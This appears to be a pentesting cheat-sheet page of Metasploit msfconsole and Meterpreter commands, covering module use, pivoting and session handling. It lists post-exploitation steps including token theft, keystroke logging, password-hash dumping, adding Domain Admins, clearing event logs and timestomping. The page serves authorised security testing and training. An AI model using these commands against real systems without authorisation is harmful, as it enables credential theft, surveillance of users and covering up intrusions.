PentOpsVault @syztem4our666

PentOpsVault
CheatSheetsPentesting

Metasploit CheatSheet

CheatSheet

Metasploit

The Metasploit Framework is a Ruby-based penetration testing platform that writing, testing, and executing exploit code. Metasploit contains a suite of tools to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

MSFconsole Commands

CommandDescription
show exploitsShow all exploits within the Framework.
show payloadsShow all payloads within the Framework.
setgSet a specific value globally (for example, LHOST or RHOST).
show optionsShow the options available for a module or exploit.
show targetsShow the platforms supported by the exploit.
set targetSpecify a specific target index if you know the OS and service pack.
set payloadSpecify the payload to use.
show advancedShow advanced options.
sessions -lList available sessions (used when handling multiple shells).
sessions -iInteract with a session.
sessions -KKill all live sessions.
sessions -cExecute a command on all live Meterpreter sessions.
sessions -uUpgrade a normal Win32 shell to a Meterpreter console.

Meterpreter Commands

CommandDescription
migrate <proc. id>Migrate to the specific process ID (PID is the target process ID gained from the ps command).
list_tokens -uList available tokens on the target by user.
list_tokens -gList available tokens on the target by group.
impersonate_token <DOMAIN_NAME\USERNAME>Impersonate a token available on the target.
steal_token <proc. id>Steal the tokens available for a given process and impersonate that token.
drop_tokenStop impersonating the current token.
getsystemAttempt to elevate permissions to SYSTEM-level access through multiple attack vectors.
shellDrop into an interactive shell with all available tokens.
execute -f <cmd.exe> -iExecute cmd.exe and interact with it.
execute -f <cmd.exe> -i -tExecute cmd.exe with all available tokens.
execute -f <cmd.exe> -i -H -tExecute cmd.exe with all available tokens and make it a hidden process.
rev2selfRevert back to the original user you used to compromise the target.
regInteract, create, delete, query, set, and much more in the target’s registry.
setdesktopSwitch to a different screen based on who is logged in.
screenshotTake a screenshot of the target’s screen.
uploadUpload a file to the target.
downloadDownload a file from the target.
keyscan_startStart sniffing keystrokes on the remote target.
keyscan_dumpDump the remote keys captured on the target.
keyscan_stopStop sniffing keystrokes on the remote target.
getprivsGet as many privileges as possible on the target.
uictl enable <keyboard/mouse>Take control of the keyboard and/or mouse.
backgroundRun your current Meterpreter shell in the background.
hashdumpDump all hashes on the target.
use snifferLoad the sniffer module.
sniffer_interfacesList the available interfaces on the target.
sniffer_dump <pcapname>Start sniffing on the remote target.
sniffer_start <packet-buffer>Start sniffing with a specific range for a packet buffer.
sniffer_statsGrab statistical information from the interface you are sniffing.
sniffer_stopStop the sniffer.
add_user -hAdd a user on the remote target.
add_group_user <'Domain Admins'> -hAdd a username to the Domain Administrators group on the remote target.
clearevClear the event log on the target machine.
timestompChange file attributes, such as creation date (antiforensics measure).
rebootReboot the target machine.

Importing External Exploits into MSFConsole

The default directory where all the modules, scripts, plugins, and msfconsole proprietary files are stored is /usr/share/metasploit-framework. Alternatively, you can use the folder /home/username/.msf4. To import a module, you just need to copy it into one of the previous folders and use the reload_all command. Alternatively, you can load a module at runtime by using loadpath /usr/share/metasploit-framework/modules/.


Meterpreter Pivoting

CommandDescription
portfwd add -R -l 8443 -p 1234 -L 10.10.14.15Set up a local port forwarding rule to forward all traffic destined to port 1234 on 10.10.14.15 to port 8443 on our attack host
run autoroute -s 172.16.9.0/23Set up a route to the 172.16.9.0/23 subnet

Search for module:

msf > search [regex]

Specify and exploit to use:

msf > use exploit/[ExploitPath]

Specify a Payload to use:

msf > set PAYLOAD [PayloadPath]

Show options for the current modules:

msf > show options

Set options:

msf > set [Option] [Value]

Start exploit:

msf > exploit 

Useful Auxiliary Modules

Port Scanner:

msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run

DNS Enumeration:

msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

FTP Server:

msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run

Proxy Server:

msf > use auxiliary/server/socks4
msf > run 

MSFVenom

Here is the cheatsheet of MSFVenom

Metasploit Meterpreter

Base Commands:

? / help              # Display a summary of commands
exit / quit           # Exit the Meterpreter session
sysinfo               # Show the system name and OS type
shutdown / reboot     # Self-explanatory

File System Commands:

cd                    # Change directory
lcd                   # Change directory on local (attacker's) machine
pwd / getwd           # Display current working directory
ls                    # Show the contents of the directory
cat                   # Display the contents of a file on screen
download / upload     # Move files to/from the target machine
mkdir / rmdir         # Make / remove directory
edit                  # Open a file in the default editor (typically vi)

Process Commands:

getpid                # Display the process ID that Meterpreter is running inside
getuid                # Display the user ID that Meterpreter is running with
ps                    # Display process list
kill                  # Terminate a process given its process ID
execute               # Run a given program with the privileges of the process the Meterpreter is loaded in
migrate               # Jump to a given destination process ID

Network Commands:

ipconfig              # Show network interface information
portfwd               # Forward packets through TCP session
route                 # Manage/view the system's routing table

Misc Commands:

idletime              # Display the duration that the GUI of the target machine has been idle
uictl [enable/disable] [keyboard/mouse]  # Enable/disable either the mouse or keyboard of the target machine
screenshot            # Save as an image a screenshot of the target machine

Additional Modules:

use [module]          # Load the specified module
                      # Example: use priv (Load the priv module)
hashdump              # Dump the hashes from the box
timestomp             # Alter NTFS file timestamps

Managing Sessions

Multiple Exploitation:

Run the exploit expecting a single session that is immediately backgrounded:

msf > exploit -z

Run the exploit in the background expecting one or more sessions that are immediately backgrounded:

msf > exploit –j

List all current jobs (usually exploit listeners):

msf > jobs –l

Kill a job:

msf > jobs –k [JobID]

Multiple Sessions:

List all backgrounded sessions:

msf > sessions -l

Interact with a backgrounded session:

msf > session -i [SessionID]

Background the current interactive session:

meterpreter > <Ctrl+Z>
or
meterpreter > background

Routing Through Sessions:

All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.

msf > route add [Subnet to Route To] [Subnet Netmask] [SessionID]

On this page

Edit on GitHub